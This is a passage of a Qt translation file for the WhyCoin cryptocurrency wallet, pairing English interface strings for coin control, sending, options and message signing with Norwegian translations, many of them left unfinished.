<source>Processed %1 blocks of transaction history.</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="+27"/>
<location line="+433"/>
<source>%n day(s)</source>
<translation><numerusform>%n dag</numerusform><numerusform>%n dager</numerusform></translation>
</message>
<message numerus="yes">
<location line="-429"/>
<location line="+6"/>
<source>%n week(s)</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="+0"/>
<source>%1 and %2</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="+0"/>
<source>%n year(s)</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="+5"/>
<source>%1 behind</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>Last received block was generated %1 ago.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Transactions after this will not yet be visible.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Error</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Warning</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Information</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+69"/>
<source>This transaction is over the size limit. You can still send it for a fee of %1, which goes to the nodes that process your transaction and helps to support the network. Do you want to pay the fee?</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+324"/>
<source>Not staking</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../bitcoin.cpp" line="+104"/>
<source>A fatal error occurred. WhyCoin can no longer continue safely and will quit.</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>ClientModel</name>
<message>
<location filename="../clientmodel.cpp" line="+110"/>
<source>Network Alert</source>
<translation>Nettverksvarsel</translation>
</message>
</context>
<context>
<name>CoinControlDialog</name>
<message>
<location filename="../forms/coincontroldialog.ui" line="+14"/>
<source>Coin Control</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+31"/>
<source>Quantity:</source>
<translation>Mengde:</translation>
</message>
<message>
<location line="+32"/>
<source>Bytes:</source>
<translation>Bytes:</translation>
</message>
<message>
<location line="+48"/>
<source>Amount:</source>
<translation>Beløp:</translation>
</message>
<message>
<location line="+32"/>
<source>Priority:</source>
<translation>Prioritet:</translation>
</message>
<message>
<location line="+48"/>
<source>Fee:</source>
<translation>Avgift:</translation>
</message>
<message>
<location line="+35"/>
<source>Low Output:</source>
<translation>Lav Utdata:</translation>
</message>
<message>
<location filename="../coincontroldialog.cpp" line="+537"/>
<source>no</source>
<translation>nei</translation>
</message>
<message>
<location filename="../forms/coincontroldialog.ui" line="+51"/>
<source>After Fee:</source>
<translation>Etter Avgift:</translation>
</message>
<message>
<location line="+35"/>
<source>Change:</source>
<translation>Endring:</translation>
</message>
<message>
<location line="+69"/>
<source>(un)select all</source>
<translation>Fjern alt valgt</translation>
</message>
<message>
<location line="+13"/>
<source>Tree mode</source>
<translation>Tre modus</translation>
</message>
<message>
<location line="+16"/>
<source>List mode</source>
<translation>Liste modus</translation>
</message>
<message>
<location line="+45"/>
<source>Amount</source>
<translation>Beløp</translation>
</message>
<message>
<location line="+5"/>
<source>Label</source>
<translation>Merkelapp</translation>
</message>
<message>
<location line="+5"/>
<source>Address</source>
<translation>Adresse</translation>
</message>
<message>
<location line="+5"/>
<source>Date</source>
<translation>Dato</translation>
</message>
<message>
<location line="+5"/>
<source>Confirmations</source>
<translation>Bekreftelser</translation>
</message>
<message>
<location line="+3"/>
<source>Confirmed</source>
<translation>Bekreftet</translation>
</message>
<message>
<location line="+5"/>
<source>Priority</source>
<translation>Prioritet</translation>
</message>
<message>
<location filename="../coincontroldialog.cpp" line="-500"/>
<source>Copy address</source>
<translation>Kopier adresse</translation>
</message>
<message>
<location line="+1"/>
<source>Copy label</source>
<translation>Kopier merkelapp</translation>
</message>
<message>
<location line="+1"/>
<location line="+26"/>
<source>Copy amount</source>
<translation>Kopiér beløp</translation>
</message>
<message>
<location line="-25"/>
<source>Copy transaction ID</source>
<translation>Kopier transaksjons-ID</translation>
</message>
<message>
<location line="+24"/>
<source>Copy quantity</source>
<translation>Kopier mengde</translation>
</message>
<message>
<location line="+2"/>
<source>Copy fee</source>
<translation>Kopier gebyr</translation>
</message>
<message>
<location line="+1"/>
<source>Copy after fee</source>
<translation>Kopier etter gebyr</translation>
</message>
<message>
<location line="+1"/>
<source>Copy bytes</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy priority</source>
<translation>Kopier prioritet</translation>
</message>
<message>
<location line="+1"/>
<source>Copy low output</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy change</source>
<translation>Kopier veksel</translation>
</message>
<message>
<location line="+317"/>
<source>highest</source>
<translation>høyest</translation>
</message>
<message>
<location line="+1"/>
<source>high</source>
<translation>høy</translation>
</message>
<message>
<location line="+1"/>
<source>medium-high</source>
<translation>medium-høy</translation>
</message>
<message>
<location line="+1"/>
<source>medium</source>
<translation>medium</translation>
</message>
<message>
<location line="+4"/>
<source>low-medium</source>
<translation>lav-medium</translation>
</message>
<message>
<location line="+1"/>
<source>low</source>
<translation>lav</translation>
</message>
<message>
<location line="+1"/>
<source>lowest</source>
<translation>lavest</translation>
</message>
<message>
<location line="+140"/>
<source>DUST</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>yes</source>
<translation>ja</translation>
</message>
<message>
<location line="+10"/>
<source>This label turns red, if the transaction size is bigger than 10000 bytes.
This means a fee of at least %1 per kb is required.
Can vary +/- 1 Byte per input.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Transactions with higher priority get more likely into a block.
This label turns red, if the priority is smaller than "medium".
This means a fee of at least %1 per kb is required.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>This label turns red, if any recipient receives an amount smaller than %1.
This means a fee of at least %2 is required.
Amounts below 0.546 times the minimum relay fee are shown as DUST.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>This label turns red, if the change is smaller than %1.
This means a fee of at least %2 is required.</source>
<translation>Denne merkelappen blir rød, viss endringen er mindre enn %1
Dette betyr at det trengs en avgift på minimum %2.</translation>
</message>
<message>
<location line="+36"/>
<location line="+66"/>
<source>(no label)</source>
<translation>(ingen merkelapp)</translation>
</message>
<message>
<location line="-9"/>
<source>change from %1 (%2)</source>
<translation>endring fra %1 (%2)</translation>
</message>
<message>
<location line="+1"/>
<source>(change)</source>
<translation>(endring)</translation>
</message>
</context>
<context>
<name>EditAddressDialog</name>
<message>
<location filename="../forms/editaddressdialog.ui" line="+14"/>
<source>Edit Address</source>
<translation>Rediger adresse</translation>
</message>
<message>
<location line="+11"/>
<source>&Label</source>
<translation>&Merkelapp</translation>
</message>
<message>
<location line="+10"/>
<source>The label associated with this address book entry</source>
<translation>Merkelappen assosiert med denne adressen</translation>
</message>
<message>
<location line="+7"/>
<source>&Address</source>
<translation>&Adresse</translation>
</message>
<message>
<location line="+10"/>
<source>The address associated with this address book entry. This can only be modified for sending addresses.</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../editaddressdialog.cpp" line="+21"/>
<source>New receiving address</source>
<translation>Ny mottaksadresse</translation>
</message>
<message>
<location line="+4"/>
<source>New sending address</source>
<translation>Ny utsendingsadresse</translation>
</message>
<message>
<location line="+3"/>
<source>Edit receiving address</source>
<translation>Rediger mottaksadresse</translation>
</message>
<message>
<location line="+4"/>
<source>Edit sending address</source>
<translation>Rediger utsendingsadresse</translation>
</message>
<message>
<location line="+76"/>
<source>The entered address "%1" is already in the address book.</source>
<translation>Den oppgitte adressen "%1" er allerede i adresseboken.</translation>
</message>
<message>
<location line="-5"/>
<source>The entered address "%1" is not a valid WhyCoin address.</source>
<translation>Den angitte adressen "%1" er ikke en gyldig WhyCoin adresse.</translation>
</message>
<message>
<location line="+10"/>
<source>Could not unlock wallet.</source>
<translation>Kunne ikke låse opp lommeboken.</translation>
</message>
<message>
<location line="+5"/>
<source>New key generation failed.</source>
<translation>Generering av ny nøkkel feilet.</translation>
</message>
</context>
<context>
<name>GUIUtil::HelpMessageBox</name>
<message>
<location filename="../guiutil.cpp" line="+426"/>
<location line="+12"/>
<source>WhyCoin-Qt</source>
<translation>WhyCoin-Qt</translation>
</message>
<message>
<location line="-12"/>
<source>version</source>
<translation>versjon</translation>
</message>
<message>
<location line="+2"/>
<source>Usage:</source>
<translation>Bruk:</translation>
</message>
<message>
<location line="+1"/>
<source>command-line options</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>UI options</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Set language, for example "de_DE" (default: system locale)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Start minimized</source>
<translation>Start Minimert</translation>
</message>
<message>
<location line="+1"/>
<source>Show splash screen on startup (default: 1)</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>OptionsDialog</name>
<message>
<location filename="../forms/optionsdialog.ui" line="+14"/>
<source>Options</source>
<translation>Innstillinger</translation>
</message>
<message>
<location line="+16"/>
<source>&Main</source>
<translation>&Hoved</translation>
</message>
<message>
<location line="+6"/>
<source>Optional transaction fee per kB that helps make sure your transactions are processed quickly. Most transactions are 1 kB. Fee 0.0001 recommended.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>Pay transaction &fee</source>
<translation>Betal transaksjons&gebyr</translation>
</message>
<message>
<location line="+31"/>
<source>Reserved amount does not participate in staking and is therefore spendable at any time.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>Reserve</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+31"/>
<source>Automatically start WhyCoin after logging in to the system.</source>
<translation>Start WhyCoin automatisk ved hver innlogging.</translation>
</message>
<message>
<location line="+3"/>
<source>&Start WhyCoin on system login</source>
<translation>&Start WhyCoin ved innlogging</translation>
</message>
<message>
<location line="+21"/>
<source>&Network</source>
<translation>&Nettverk</translation>
</message>
<message>
<location line="+6"/>
<source>Automatically open the WhyCoin client port on the router. This only works when your router supports UPnP and it is enabled.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Map port using &UPnP</source>
<translation>Sett opp port vha. &UPnP</translation>
</message>
<message>
<location line="+19"/>
<source>Proxy &IP:</source>
<translation>Proxy &IP:</translation>
</message>
<message>
<location line="+19"/>
<source>IP address of the proxy (e.g. 127.0.0.1)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>&Port:</source>
<translation>&Port:</translation>
</message>
<message>
<location line="+19"/>
<source>Port of the proxy (e.g. 9050)</source>
<translation>Proxyens port (f.eks. 9050)</translation>
</message>
<message>
<location line="-57"/>
<source>Connect to the WhyCoin network through a SOCKS5 proxy (e.g. when connecting through Tor).</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>&Connect through SOCKS5 proxy:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+90"/>
<source>&Window</source>
<translation>&Vindu</translation>
</message>
<message>
<location line="+6"/>
<source>Show only a tray icon after minimizing the window.</source>
<translation>Vis kun ikon i systemkurv etter minimering av vinduet.</translation>
</message>
<message>
<location line="+3"/>
<source>&Minimize to the tray instead of the taskbar</source>
<translation>&Minimer til systemkurv istedenfor oppgavelinjen</translation>
</message>
<message>
<location line="+7"/>
<source>Minimize instead of exit the application when the window is closed. When this option is enabled, the application will be closed only after selecting Quit in the menu.</source>
<translation>Minimerer vinduet istedenfor å avslutte applikasjonen når vinduet lukkes. Når dette er slått på avsluttes applikasjonen kun ved å velge avslutt i menyen.</translation>
</message>
<message>
<location line="+3"/>
<source>M&inimize on close</source>
<translation>M&inimer ved lukking</translation>
</message>
<message>
<location line="+21"/>
<source>&Display</source>
<translation>&Visning</translation>
</message>
<message>
<location line="+8"/>
<source>User Interface &language:</source>
<translation>&Språk for brukergrensesnitt</translation>
</message>
<message>
<location line="+13"/>
<source>The user interface language can be set here. This setting will take effect after restarting WhyCoin.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+11"/>
<source>&Unit to show amounts in:</source>
<translation>&Enhet for visning av beløper:</translation>
</message>
<message>
<location line="+13"/>
<source>Choose the default subdivision unit to show in the interface and when sending coins.</source>
<translation>Velg standard delt enhet for visning i grensesnittet og for sending av whycoins.</translation>
</message>
<message>
<location line="+9"/>
<source>Whether to show coin control features or not.</source>
<translation>Skal mynt kontroll funksjoner vises eller ikke.</translation>
</message>
<message>
<location line="+3"/>
<source>Display coin &control features (experts only!)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Whether to select the coin outputs randomly or with minimal coin age.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Minimize weight consumption (experimental)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Use red visual theme (requires restart)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+71"/>
<source>&OK</source>
<translation>&OK</translation>
</message>
<message>
<location line="+7"/>
<source>&Cancel</source>
<translation>&Avbryt</translation>
</message>
<message>
<location line="+10"/>
<source>&Apply</source>
<translation>&Bruk</translation>
</message>
<message>
<location filename="../optionsdialog.cpp" line="+47"/>
<source>default</source>
<translation>standardverdi</translation>
</message>
<message>
<location line="+148"/>
<location line="+9"/>
<source>Warning</source>
<translation>Advarsel</translation>
</message>
<message>
<location line="-9"/>
<location line="+9"/>
<source>This setting will take effect after restarting WhyCoin.</source>
<translation>Denne innstillingen vil tre i kraft etter WhyCoin er blitt startet på nytt.</translation>
</message>
<message>
<location line="+29"/>
<source>The supplied proxy address is invalid.</source>
<translation>Angitt proxyadresse er ugyldig.</translation>
</message>
</context>
<context>
<name>OverviewPage</name>
<message>
<location filename="../forms/overviewpage.ui" line="+14"/>
<source>Form</source>
<translation>Skjema</translation>
</message>
<message>
<location line="+46"/>
<location line="+247"/>
<source>The displayed information may be out of date. Your wallet automatically synchronizes with the WhyCoin network after a connection is established, but this process has not completed yet.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-173"/>
<source>Stake:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+32"/>
<source>Unconfirmed:</source>
<translation>Ubekreftet:</translation>
</message>
<message>
<location line="-113"/>
<source>Wallet</source>
<translation>Lommebok</translation>
</message>
<message>
<location line="+49"/>
<source>Spendable:</source>
<translation>Disponibelt:</translation>
</message>
<message>
<location line="+16"/>
<source>Your current spendable balance</source>
<translation>Din nåværende saldo</translation>
</message>
<message>
<location line="+80"/>
<source>Immature:</source>
<translation>Umoden:</translation>
</message>
<message>
<location line="+13"/>
<source>Mined balance that has not yet matured</source>
<translation>Minet saldo har ikke modnet enda</translation>
</message>
<message>
<location line="+23"/>
<source>Total:</source>
<translation>Totalt:</translation>
</message>
<message>
<location line="+16"/>
<source>Your current total balance</source>
<translation>Din nåværende saldo</translation>
</message>
<message>
<location line="+50"/>
<source><b>Recent transactions</b></source>
<translation><b>Siste transaksjoner</b></translation>
</message>
<message>
<location line="-118"/>
<source>Total of transactions that have yet to be confirmed, and do not yet count toward the current balance</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-32"/>
<source>Total of coins that was staked, and do not yet count toward the current balance</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../overviewpage.cpp" line="+116"/>
<location line="+1"/>
<source>out of sync</source>
<translation>ute av synk</translation>
</message>
</context>
<context>
<name>PaymentServer</name>
<message>
<location filename="../paymentserver.cpp" line="+107"/>
<source>Cannot start whycoin: click-to-pay handler</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>QRCodeDialog</name>
<message>
<location filename="../forms/qrcodedialog.ui" line="+14"/>
<source>QR Code Dialog</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+59"/>
<source>Request Payment</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+56"/>
<source>Amount:</source>
<translation>Beløp:</translation>
</message>
<message>
<location line="-44"/>
<source>Label:</source>
<translation>Merkelapp:</translation>
</message>
<message>
<location line="+19"/>
<source>Message:</source>
<translation>Melding:</translation>
</message>
<message>
<location line="+71"/>
<source>&Save As...</source>
<translation>&Lagre som...</translation>
</message>
<message>
<location filename="../qrcodedialog.cpp" line="+62"/>
<source>Error encoding URI into QR Code.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+40"/>
<source>The entered amount is invalid, please check.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Resulting URI too long, try to reduce the text for label / message.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+25"/>
<source>Save QR Code</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>PNG Images (*.png)</source>
<translation>PNG Bilder (*.png)</translation>
</message>
</context>
<context>
<name>RPCConsole</name>
<message>
<location filename="../forms/rpcconsole.ui" line="+46"/>
<source>Client name</source>
<translation>Klientnavn</translation>
</message>
<message>
<location line="+10"/>
<location line="+23"/>
<location line="+26"/>
<location line="+23"/>
<location line="+23"/>
<location line="+36"/>
<location line="+53"/>
<location line="+23"/>
<source>N/A</source>
<translation>-</translation>
</message>
<message>
<location line="-194"/>
<source>Client version</source>
<translation>Klientversjon</translation>
</message>
<message>
<location line="-45"/>
<source>&Information</source>
<translation>&Informasjon</translation>
</message>
<message>
<location line="+68"/>
<source>Using OpenSSL version</source>
<translation>Bruker OpenSSL versjon</translation>
</message>
<message>
<location line="+49"/>
<source>Startup time</source>
<translation>Oppstartstidspunkt</translation>
</message>
<message>
<location line="+29"/>
<source>Network</source>
<translation>Nettverk</translation>
</message>
<message>
<location line="+7"/>
<source>Number of connections</source>
<translation>Antall tilkoblinger</translation>
</message>
<message>
<location line="+23"/>
<source>On testnet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Block chain</source>
<translation>Blokkjeden</translation>
</message>
<message>
<location line="+7"/>
<source>Current number of blocks</source>
<translation>Nåværende antall blokker</translation>
</message>
<message>
<location line="+197"/>
<source>&Network Traffic</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+52"/>
<source>&Clear</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+13"/>
<source>Totals</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+64"/>
<source>In:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+80"/>
<source>Out:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-383"/>
<source>Last block time</source>
<translation>Tidspunkt for siste blokk</translation>
</message>
<message>
<location line="+52"/>
<source>&Open</source>
<translation>&Åpne</translation>
</message>
<message>
<location line="+16"/>
<source>Command-line options</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Show the WhyCoin-Qt help message to get a list with possible WhyCoin command-line options.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>&Show</source>
<translation>&Vis</translation>
</message>
<message>
<location line="+24"/>
<source>&Console</source>
<translation>&Konsoll</translation>
</message>
<message>
<location line="-237"/>
<source>Build date</source>
<translation>Byggedato</translation>
</message>
<message>
<location line="-104"/>
<source>WhyCoin - Debug window</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+25"/>
<source>WhyCoin Core</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+256"/>
<source>Debug log file</source>
<translation>Loggfil for feilsøk</translation>
</message>
<message>
<location line="+7"/>
<source>Open the WhyCoin debug log file from the current data directory. This can take a few seconds for large log files.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+102"/>
<source>Clear console</source>
<translation>Tøm konsoll</translation>
</message>
<message>
<location filename="../rpcconsole.cpp" line="+325"/>
<source>Welcome to the WhyCoin RPC console.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Use up and down arrows to navigate history, and <b>Ctrl-L</b> to clear screen.</source>
<translation>Bruk opp og ned pil for å navigere historikken, og <b>Ctrl-L</b> for å tømme skjermen.</translation>
</message>
<message>
<location line="+1"/>
<source>Type <b>help</b> for an overview of available commands.</source>
<translation>Skriv <b>help</b> for en oversikt over kommandoer.</translation>
</message>
<message>
<location line="+127"/>
<source>%1 B</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>%1 KB</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>%1 MB</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>%1 GB</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>%1 m</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>%1 h</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>%1 h %2 m</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>SendCoinsDialog</name>
<message>
<location filename="../forms/sendcoinsdialog.ui" line="+14"/>
<location filename="../sendcoinsdialog.cpp" line="+182"/>
<location line="+5"/>
<location line="+5"/>
<location line="+5"/>
<location line="+6"/>
<location line="+5"/>
<location line="+5"/>
<source>Send Coins</source>
<translation>Send WhyCoins</translation>
</message>
<message>
<location line="+76"/>
<source>Coin Control Features</source>
<translation>Mynt Kontroll Funksjoner</translation>
</message>
<message>
<location line="+20"/>
<source>Inputs...</source>
<translation>Inndata...</translation>
</message>
<message>
<location line="+7"/>
<source>automatically selected</source>
<translation>automatisk valgte</translation>
</message>
<message>
<location line="+19"/>
<source>Insufficient funds!</source>
<translation>Utilstrekkelige midler!</translation>
</message>
<message>
<location line="+77"/>
<source>Quantity:</source>
<translation>Mengde:</translation>
</message>
<message>
<location line="+22"/>
<location line="+35"/>
<source>0</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-19"/>
<source>Bytes:</source>
<translation>Bytes:</translation>
</message>
<message>
<location line="+51"/>
<source>Amount:</source>
<translation>Beløp:</translation>
</message>
<message>
<location line="+35"/>
<source>Priority:</source>
<translation>Prioritet:</translation>
</message>
<message>
<location line="+19"/>
<source>medium</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+32"/>
<source>Fee:</source>
<translation>Avgift:</translation>
</message>
<message>
<location line="+35"/>
<source>Low Output:</source>
<translation>Lav Utdata:</translation>
</message>
<message>
<location line="+19"/>
<source>no</source>
<translation>nei</translation>
</message>
<message>
<location line="+32"/>
<source>After Fee:</source>
<translation>Etter Avgift:</translation>
</message>
<message>
<location line="+35"/>
<source>Change</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+50"/>
<source>custom change address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+106"/>
<source>Send to multiple recipients at once</source>
<translation>Send til flere enn én mottaker</translation>
</message>
<message>
<location line="+3"/>
<source>Add &Recipient</source>
<translation>&Legg til Mottaker</translation>
</message>
<message>
<location line="+16"/>
<source>Remove all transaction fields</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Clear &All</source>
<translation>Fjern &Alt</translation>
</message>
<message>
<location line="+24"/>
<source>Balance:</source>
<translation>Saldo:</translation>
</message>
<message>
<location line="+47"/>
<source>Confirm the send action</source>
<translation>Bekreft sending</translation>
</message>
<message>
<location line="+3"/>
<source>S&end</source>
<translation>S&end</translation>
</message>
<message>
<location filename="../sendcoinsdialog.cpp" line="-174"/>
<source>Enter a WhyCoin address (e.g. RDnVX8VK5b7egm1FFuCHHe3H7U4VL3zxK6)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>Copy quantity</source>
<translation>Kopier mengde</translation>
</message>
<message>
<location line="+1"/>
<source>Copy amount</source>
<translation>Kopiér beløp</translation>
</message>
<message>
<location line="+1"/>
<source>Copy fee</source>
<translation>Kopier gebyr</translation>
</message>
<message>
<location line="+1"/>
<source>Copy after fee</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy bytes</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy priority</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy low output</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy change</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+87"/>
<source><b>%1</b> to %2 (%3)</source>
<translation><b>%1</b> til %2 (%3)</translation>
</message>
<message>
<location line="+5"/>
<source>Confirm send coins</source>
<translation>Bekreft sending av bitcoins</translation>
</message>
<message>
<location line="+1"/>
<source>Are you sure you want to send %1?</source>
<translation>Er du sikker på du ønsker å sende %1?</translation>
</message>
<message>
<location line="+0"/>
<source> and </source>
<translation>og</translation>
</message>
<message>
<location line="+29"/>
<source>The recipient address is not valid, please recheck.</source>
<translation>Adresse for mottaker er ugyldig.</translation>
</message>
<message>
<location line="+5"/>
<source>The amount to pay must be larger than 0.</source>
<translation>Beløpen som skal betales må være over 0.</translation>
</message>
<message>
<location line="+5"/>
<source>The amount exceeds your balance.</source>
<translation>Beløpet overstiger saldo.</translation>
</message>
<message>
<location line="+5"/>
<source>The total exceeds your balance when the %1 transaction fee is included.</source>
<translation>Totalbeløpet overstiger saldo etter at %1 transaksjonsgebyr er lagt til.</translation>
</message>
<message>
<location line="+6"/>
<source>Duplicate address found, can only send to each address once per send operation.</source>
<translation>Duplikate adresser funnet. Kan bare sende én gang til hver adresse per operasjon.</translation>
</message>
<message>
<location line="+5"/>
<source>Error: Transaction creation failed!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Error: The transaction was rejected. This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+247"/>
<source>WARNING: Invalid WhyCoin address</source>
<translation>ADVARSEL: Ugyldig WhyCoin adresse</translation>
</message>
<message>
<location line="+13"/>
<source>(no label)</source>
<translation>(ingen merkelapp)</translation>
</message>
<message>
<location line="+4"/>
<source>WARNING: unknown change address</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>SendCoinsEntry</name>
<message>
<location filename="../forms/sendcoinsentry.ui" line="+14"/>
<source>Form</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>A&mount:</source>
<translation>&Beløp:</translation>
</message>
<message>
<location line="+13"/>
<source>Pay &To:</source>
<translation>Betal &Til:</translation>
</message>
<message>
<location line="+34"/>
<source>The address to send the payment to (e.g. RDnVX8VK5b7egm1FFuCHHe3H7U4VL3zxK6)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+60"/>
<location filename="../sendcoinsentry.cpp" line="+26"/>
<source>Enter a label for this address to add it to your address book</source>
<translation>Skriv inn en merkelapp for denne adressen for å legge den til i din adressebok</translation>
</message>
<message>
<location line="-78"/>
<source>&Label:</source>
<translation>&Merkelapp:</translation>
</message>
<message>
<location line="+28"/>
<source>Choose address from address book</source>
<translation>Velg adresse fra adresseboken</translation>
</message>
<message>
<location line="+10"/>
<source>Alt+A</source>
<translation>Alt+A</translation>
</message>
<message>
<location line="+7"/>
<source>Paste address from clipboard</source>
<translation>Lim inn adresse fra utklippstavlen</translation>
</message>
<message>
<location line="+10"/>
<source>Alt+P</source>
<translation>Alt+P</translation>
</message>
<message>
<location line="+7"/>
<source>Remove this recipient</source>
<translation>Fjern denne mottakeren</translation>
</message>
<message>
<location filename="../sendcoinsentry.cpp" line="+1"/>
<source>Enter a WhyCoin address (e.g. RDnVX8VK5b7egm1FFuCHHe3H7U4VL3zxK6)</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>SignVerifyMessageDialog</name>
<message>
<location filename="../forms/signverifymessagedialog.ui" line="+14"/>
<source>Signatures - Sign / Verify a Message</source>
<translation>Signaturer - Signer / Verifiser en melding</translation>
</message>
<message>
<location line="+13"/>
<location line="+124"/>
<source>&Sign Message</source>
<translation>&Signér Melding</translation>
</message>
<message>
<location line="-118"/>
<source>You can sign messages with your addresses to prove you own them. Be careful not to sign anything vague, as phishing attacks may try to trick you into signing your identity over to them. Only sign fully-detailed statements you agree to.</source>
<translation>Du kan signere meldinger med dine adresser for å bevise at du eier dem. Ikke signér vage meldinger da phishing-angrep kan prøve å lure deg til å signere din identitet over til andre. Signér kun fullt detaljerte utsagn som du er enig i.</translation>
</message>
<message>
<location line="+18"/>
<source>The address to sign the message with (e.g. RDnVX8VK5b7egm1FFuCHHe3H7U4VL3zxK6)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+10"/>
<location line="+203"/>
<source>Choose an address from the address book</source>
<translation>Velg en adresse fra adresseboken</translation>
</message>
<message>
<location line="-193"/>
<location line="+203"/>
<source>Alt+A</source>
<translation>Alt+A</translation>
</message>
<message>
<location line="-193"/>
<source>Paste address from clipboard</source>
<translation>Lim inn adresse fra utklippstavlen</translation>
</message>
<message>
<location line="+10"/>
<source>Alt+P</source>
<translation>Alt+P</translation>
</message>
<message>
<location line="+12"/>
<source>Enter the message you want to sign here</source>
<translation>Skriv inn meldingen du vil signere her</translation>
</message>
<message>
<location line="+24"/>
<source>Copy the current signature to the system clipboard</source>
<translation>Kopier valgt signatur til utklippstavle</translation>
</message>
<message>
<location line="+21"/>
<source>Sign the message to prove you own this WhyCoin address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+17"/>
<source>Reset all sign message fields</source>
<translation>Tilbakestill alle felter for meldingssignering</translation>
</message>
<message>
<location line="+3"/>
<location line="+146"/>
<source>Clear &All</source>
<translation>Fjern &Alt</translation>
</message>
<message>
<location line="-87"/>
<location line="+70"/>
<source>&Verify Message</source>
<translation>&Verifiser Melding</translation>
</message>
<message>
<location line="-64"/>
<source>Enter the signing address, message (ensure you copy line breaks, spaces, tabs, etc. exactly) and signature below to verify the message. Be careful not to read more into the signature than what is in the signed message itself, to avoid being tricked by a man-in-the-middle attack.</source>
